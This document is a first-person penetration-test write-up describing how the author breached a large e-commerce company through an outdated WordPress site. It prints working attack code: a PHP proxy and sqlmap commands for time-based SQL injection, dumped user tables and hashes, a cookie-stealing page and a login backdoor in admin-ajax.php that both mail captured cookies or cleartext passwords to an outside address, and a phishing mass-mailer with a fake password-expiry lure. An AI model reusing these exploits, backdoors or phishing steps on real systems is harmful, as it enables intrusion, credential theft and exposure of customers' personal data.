In Part 1, I outlined how during this Operation, I discovered an outdated WordPress. I researched plugins and the theme that were installed on the WordPress script and obtained reflected XSS, partially Local File Include, and time-based SQL injection.
If this was a normal pentest, this would be the end. I would write up the findings and recommendations. However, this was a remote operation. I was assessing a large corporation I am calling Target Corporate.
SQL Injection Exploitation
In Part 1, I used a Local File Include that turned to be useful to include a page that is vulnerable to SQL injection, I also created a POC regarding the SQL injection, In this part, I will explain how the time-based SQL injection was exploited.
I used the SQLMAP tool but the vulnerability can not be directly exploitable by SQLMAP, thus, I had to create a PHP page that acts as a proxy between SQLMAP and the vulnerable page and created the injection point that will be used by SQLMAP to launch successful exploitation.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
<?php $url="https://*********************"; $injection=$_GET['inj']; post_it($url,$injection); function post_it($url,$injection){ $ch = curl_init(); $post="custom=2' or 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,".$injection."-- -|sssssss"; curl_setopt($ch, CURLOPT_URL, "$url/?payment_response=paypal_response"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); //return the transfer as a string curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); echo $output; curl_close($ch); } ?> |
The PHP page will be hosted on my localhost, it contains a user input called $inj that will be used to send the SQL injection payloads to the targeted vulnerable input in a good manner, I made it exploitable for SQLMAP to inject its time-based SQL injection payloads.
It is time to use SQLMAP but there is an anti-DDOS firewall that prevents sending multi-threads at a time. For this, I added a number of threads to be 1 using -T argument, I executed the following command that sends SQLMAP payloads to the crafted proxy page:
1 |
./sqlmap.py -u http://localhost/sql.php?inj=32 -threads 1 --dbs --technique T |
Only one database was retrieved, Next, gathering the table names:
1 |
./sqlmap.py -u http://localhost/sql.php?inj=32 -threads 1 --tables -D wp_******** --technique T |
The exploitation was very slow because it is time-based SQL injection, I waited about two days to see the clear results of 191 tables:
1 2 3 4 5 6 7 |
Database: wp_********* [191 tables] +---------------------------------------------------+ [...] wp1o_users wp_users +---------------------------------------------------+ |
Next, the columns that might be useful were gathered through the following command:
1 |
./sqlmap.py -u http://localhost/sql.php?inj=32 -threads 1 --columns -D wp_********* -T wp1o_bsa_pro_users,wp1o_users,wp1o_wcfm_messages,wp1o_usermeta,wp_users --technique T |
I waited one more day to see the clear results, I will only mention the useful ones:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 |
Table: wp_users [10 columns] +---------------------+---------------------+ | Column | Type | +---------------------+---------------------+ | display_name | varchar(250) | | ID | bigint(20) unsigned | | user_activation_key | varchar(255) | | user_email | varchar(100) | | user_login | varchar(60) | | user_nicename | varchar(50) | | user_pass | varchar(255) | | user_registered | datetime | | user_status | int(11) | | user_url | varchar(100) | +---------------------+---------------------+ Table: wp1o_users [10 columns] +---------------------+---------------------+ | Column | Type | +---------------------+---------------------+ | display_name | varchar(250) | | ID | bigint(20) unsigned | | user_activation_key | varchar(255) | | user_email | varchar(100) | | user_login | varchar(60) | | user_nicename | varchar(255) | | user_pass | varchar(255) | | user_registered | datetime | | user_status | int(11) | | user_url | varchar(100) | +---------------------+---------------------+ Table: wp_usermeta [4 columns] +------------+---------------------+ | Column | Type | +------------+---------------------+ | meta_key | varchar(255) | | meta_value | longtext | | umeta_id | bigint(20) unsigned | | user_id | bigint(20) unsigned | +------------+---------------------+ Table: wp1o_usermeta [4 columns] +------------+---------------------+ | Column | Type | +------------+---------------------+ | meta_key | varchar(255) | | meta_value | longtext | | umeta_id | bigint(20) unsigned | | user_id | bigint(20) unsigned | +------------+---------------------+ Table: wp1o_wcfm_messages [13 columns] +--------------------+--------------+ | Column | Type | +--------------------+--------------+ | author_id | bigint(20) | | author_is_admin | tinyint(1) | | author_is_customer | tinyint(1) | | author_is_vendor | tinyint(1) | | created | timestamp | | ID | bigint(20) | | is_direct_message | tinyint(1) | | is_notice | tinyint(1) | | is_pined | tinyint(1) | | message | longtext | | message_to | bigint(20) | | message_type | varchar(100) | | reply_to | bigint(20) | +--------------------+--------------+ |
Next was to gather the data inside these tables, wp_users contains two users:
1 2 3 4 5 6 7 |
Table: wp_users +------+------------+------------------------------------+------------------------+---------------------+-------------+ | ID | user_login | user_pass | user_email | user_activation_key | user_status | +------+------------+------------------------------------+------------------------+---------------------+-------------+ | 1 | wpengine | $P$******************************* | bitbucket@wpengine.com | <blank> | 0 | | 2 | prodservng | $P$******************************* | techops@**********.com | <blank> | 0 | +------+------------+------------------------------------+------------------------+---------------------+-------------+ |
wpengine is a company administrator user for WordPress hosting, they usually add a username belongs to the company in case any diagnosis requested by the application owner.
I tried to crack these passwords but guess what, I failed to crack them!!!
Next, wp1o_users contains many users who registered on the application, I was only interested in the administrators hashes.
I used online brute force attacks over the hashes, it is a service where I provide them with the list of hashes that needs to be cracked and they try to crack the hashes using their resources and if any of the hashes is cracked then I have to pay for these hashes to be revealed:
None of the listed hashes were cracked.
At this point I was very disappointed that after all of these days I spent to reach this hashes went for nothing. I had to find another way around.
I decided to abuse the forgot my password functionality, I signed up with a new account that is a normal user without any privileges and requested a new secret key to reset my password, the secret key was then sent to my email which I had to use to update my password.
I was able to change my password using the secret key that was sent to my email, what about resetting the password of the administrator user and try to capture the secret key from the database, if stored in clear-text.
The admin username, email and the hashed password are not stored in wp_users table but stored in wp1o_users table which is not the default, thus, I will extract the metadata of the admin user from wp1o_usermeta instead of the default table wp_usermeta.
Before running the SQLMAP commend, I requested a new token for the admin user that I already have its username and email.
Also, I know that the admin user_id is 1, I added the while argument to the SQLMAP command to retrieve only the metadata of the targeted administrator.
1 |
./sqlmap.py -u http://localhost/jumia_sql.php?inj=32 -threads 1 --dump -D wp_********* -T wp1o_usermeta -C meta_key,meta_value,umeta_id,user_id --where "user_id=1" --technique T |
There were too many results and that is why SQLMAP took more than one day to extract the needed information, time based SQL injection consumes too much time.
The most interesting part of the results was the admin secret key:
1 |
userpro_secret_key | ******************** |
Almost two days after the admin secret key was requested and now it is the time to test if this key is OK and valid or not, and:
Yes, finally I am in!!
Remote Code Execution
One of the ways to upload a shell and gain an RCE from the administrator panel of WordPress is through updating one of the plugins source code.
I updated one of the files that belong to a deactivated plugin and uploaded phpinfo file to gain more information about the server-internal security configurations:
1 2 3 |
<?php phpinfo(); ?> |
After browsing the phpinfo file, I noticed many and many functions are forbidden to be used for security reasons:
Almost every function that can be used to create a shell was disabled. I tried uploading a PHP reverse connection shell, I used this one from PentestMonkey but unfortunately, I didn’t receive any reverse connection. After more investigation, I observed that this happened because proc_open function was disabled by the server. It is WpEngine servers meaning it was not easy to gain a command-line interactive shell over these servers.
.
Next, I uploaded a simple web shell that only deals with the files and folders and doesn’t contain any of the disabled functions.
Social Engineering
Again and to remember the plan,
Now I have access to one of the subdomains regarding Target Corporate and I should be able to Hijack the management session through a crafted URL.
The session can only be hijacked by the server-side not by the client-side due to HttpOnly protection, thus, I created a small PHP file that will capture all the user cookies and sessions and then do a redirect to another page that belongs to Target Corporate.
The PHP file will also write a copy of these hijacked cookies to a txt file and send another copy to my email:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
<?php header ('Location:https://www.************/huawei.html '); $handle = fopen("*****.txt", "a"); $all=""; foreach($_COOKIE as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); $all=$all.$variable."=".$value."\r\n"; } fwrite($handle, "\r\n"); fclose($handle); //echo $all; mail("*************@selhab.com","***** Session",$all); exit; |
I will have to find a way to send a crafted URL similar to https://wordpress.target.com/cap.php to one of the staff who is logged into management.target.com so that the session could be hijacked.
Target Corporate is an E-commerce company, for this, I created a normal account and submitted a real order that will be canceled after my social engineering attack, I claimed to be a customer who wants to get information about his order and contacted them through the contact us page for Target Corporate.
Another similar message was sent through Target Corporate Facebook page chat:
However, the social media team replied and successfully opened the crafted URL two times from two different people to make sure if it is the last version of my phone, but I didn’t receive any sessions or cookies, it was empty!
Maybe social media have no access to management.target.com, or maybe I was not lucky enough!. I just don’t but this social engineering attack failed.
I also didn’t hear from any team regarding the message that I sent through the contact us page. They simply just didn’t read it, or maybe they have instructions not to open any URL sent by the customer and not to reply to him, I just don’t know. This was bad news.
I will have to target other teams rather than the social media team or contact us team. I prefer to target them through emails so that I can make sure that my victim is logged in through his email which gives a high probability that he is also logged into the management area.
What if the management area provides the stuff with another session after successful authentication, I didn’t have a successful authentication to know, and maybe the new session that is obtained post-authentication is restricted only to subdomain management.target.com, if so then my attack will fail and the whole plan will fail also.
I didn’t receive any cookies from the stuff who open my URL, maybe they have orders to use private browsing when they browse URLs sent by customers!! maybe there is a spider that acts as a proxy in their platform, the spider will not have any sessions or cookies. Many and many possibilities and many questions popped up without any clear answers!!
A quick call to a friend who I will be glad to mention as a social engineering expert, I explained what happened until my current access in addition to the bad news regarding the social engineering failed attack and asked for his advice, that was his answer:
“They are not hackers they are not security experts they are just staff, You will need to target their clear text passwords so that you don’t need to answer these questions regarding the session management of the target corporate.” He also mentioned that the best solution to capture their clear-text password is through the login form since I have access to the WordPress application and can easily update the source code.
To do this I sent a login HTTP request contains dummy data and captured the below request. I made the HTTP request more clear:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: ************************** User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 6856 Origin: *************************** DNT: 1 Connection: close Referer: ************************** Cookie: 5dd7b6c66857cd69601aaf82a74a3148=1600764373; PHPSESSID=********************* force_redirect_uri-636=0& redirect_uri-636=& _myuserpro_nonce=6dcaf463ad& _wp_http_referer=%2Flogin%2F& unique_id=636& username_or_email-636=selhab& user_pass-636=mypass& action=userpro_process_form& template=login& group=default& shortcode=%5Buserpro%20l[...] |
Each user is provided by a unique ID stored in the cookies, during the login process the unique ID is sent aligned with the username and the password name values.
I will need to capture the user unique ID first so that I can identify the username and password name values and then capture those values in clear text and send it to my email.
The following piece of code was injected to the top of page wp-admin/admin-ajax.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
<?php $unique_id=$_REQUEST['unique_id']; $user="username_or_email-".$unique_id; $pass="user_pass-".$unique_id; $user=$_REQUEST[$user]; $pass=$_REQUEST[$pass]; $ip = getenv("REMOTE_ADDR"); $hostname = gethostbyaddr($ip); $all = $user.":".$pass."\r\n"; $all .= "HostName : ".$hostname."\r\n"; $all .= "IP address : ".$ip."\r\n"; mail("*************@selhab.com","***** Credentials",$all); ?> |
I will also need to convince the staff to log in through the mentioned wordpress trapped form so that I can capture their clear-text passwords.
I copied the database connection credentials from wp-config.php file and executed a successful connection to the database. Next, I gathered a few emails regarding Target Corporate in the database and copied it.
Another call to my social engineering expert friend to discuss what should I write in the email to convince the targeted staff to login to the mentioned form and we agreed that the best scenario will be to send an email to those employees that contains a warning message about their password being expired unless they log in to the wordpress login form. He also sent me a good template to use.
I used wordpress.target.com server to send those emails so that it won’t land in the junk/spam folder, I crafted the following piece of code to send the emails:
1 2 3 4 5 6 7 8 9 10 11 |
<?php $title="Your WordPress password expires soon"; $desc="Your WordPress password expires in 11 days. Change your password now through the following URL: https://***********************/wp-content/plugins/duplicate-post/duplicate-post.php"; $email = file("emails.txt"); foreach($emails as $email) { mail($email,$title,$desc); } echo "emails sent successfully"; ?> |
I added my Gmail to the emails list, since the target corporate uses Gmail then I can make sure that these emails lands in the inbox folder.
Here’s a screenshot from the email that contains the final template:
The employee should click on the crafted URL that will hijack his cookies and then re-direct the employee to the login form, hopefully, one of the employees who has the needed access will log in.
The next day I received a notification on my email, yes it is the good news. one of the targeted employees clicked the URL and logged in to the form and I received the email and the password in clear-text.
Remaining the most important question, Is these credentials will give me access to the target corporate management area?
I logged in to the employee email using the hijacked credentials and then I tried to access the management.target.com :
I am in!!
I am able to observe millions of customers information, names, addresses, emails, phone numbers, how many orders for each customer, what exactly did they buy, how much did they pay for each order and etc….
I didn’t continue further as here was my final stage.
Conclusion:
This write up took long time to be publicly disclosed.
Thanks for reading this long write up.